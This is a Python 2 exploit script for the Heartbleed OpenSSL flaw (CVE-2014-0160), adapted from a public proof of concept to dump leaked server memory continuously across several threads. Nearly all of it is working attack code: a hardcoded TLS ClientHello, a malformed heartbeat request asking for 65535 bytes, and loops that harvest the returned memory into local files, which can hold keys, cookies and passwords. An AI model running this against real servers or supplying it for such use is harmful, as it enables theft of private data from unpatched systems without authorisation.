SSL heartbleed dirty dumper

ssl_heartbleed_dirty_dumper.py

#!/usr/bin/python
 
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
#
# Modified slightly by Andreas Thienemann <athienemann@schubergphilis.com> for clearer exploit code
# and 64k reads
#
# This version of the exploit does write received data to a file called "dump" in the local directory
# for analysis.
# File is zeroed at the beginning of each dump run.
#
# Modified by Marcin 'redeemer' Probola:
# Quick and dirty continuous dumping modification

import sys
import struct
import socket
import time
import select
import re
import pprint
import os
import threading
from optparse import OptionParser
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-t', '--threads', type='int', default=1, help='Number of threads (default: 1)')
 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
 
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
 
# Build the exploit data.
# Needs to be a Heartbeat Request with a defined Payload length but no actual payload.
# This will result in openssl calling malloc() on the payload length but no actual payload to copy into this memory segment.
# As Heartbeat is an echo-type of packet we're going to be sent back the memory content of the malloc()'d segment on the server.
# Classic bounadry check violation.
hb = struct.pack(">BHHBH",
        24,     # TLS package kind - 24 == Heartbeat
        770,    # TLS Version (1.1)
        3,      # Length
        1,      # Heartbeat type (0x01 == Request, 0x02 == Response)
        65535   # Payload length, control how much memory we can snarf on the server side. (exploit here)
    )
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            #sys.exit()
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        #print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    #print "Server length: %s" % (ln)
    pay = recvall(s, ln, 10)
    if pay is None:
        #print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    #print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
 
def hit_hb(s, filenum):
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            #print 'No heartbeat response received, server likely not vulnerable'
            return False
 
        if typ == 24:
            #print 'Received heartbeat response'
            if len(pay) > 3:
                with open("dump_%s.bin" % filenum, "a") as f:
                    f.write(pay)
                    f.close()
                    print "%s bytes written to./dump_%s.bin" % (len(pay),filenum)
                    #print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
 
        if typ == 21:
            #print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

class ThreadClass(threading.Thread):
    def run(self):
        opts, args = options.parse_args()

        while True:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #print 'Connecting...'
            #sys.stdout.flush()
            s.connect((args[0], opts.port))
            #print 'Sending Client Hello...'
            #sys.stdout.flush()
            s.send(hello)
            #print 'Waiting for Server Hello...'
            #sys.stdout.flush()
            while True:
                typ, ver, pay = recvmsg(s)
                if typ == None:
	    		    print 'Server closed connection without sending Server Hello.'
	    		    return
    			# Look for server hello done message.
                if typ == 22 and ord(pay[0]) == 0x0E:
                    break
		 
            #print 'Sending heartbeat request...'
		    #sys.stdout.flush()

            i = 0
            while os.path.exists("dump_%s.bin" % i):
			    i += 1;

            open("dump_%s.bin" % i, 'w').close()
            s.send(hb)
            while hit_hb(s, i):
                continue;
		    

def main():
    try:

        opts, args = options.parse_args()
        if len(args) < 1:
            options.print_help()
            return

        threads = int(opts.threads)
        print "Continuous dumping (%s threads)" % threads;

        for i in range(threads):
            t = ThreadClass()
            t.start()
            time.sleep(1)

    except KeyboardInterrupt:
        sys.exit()
   

if __name__ == '__main__':
    main()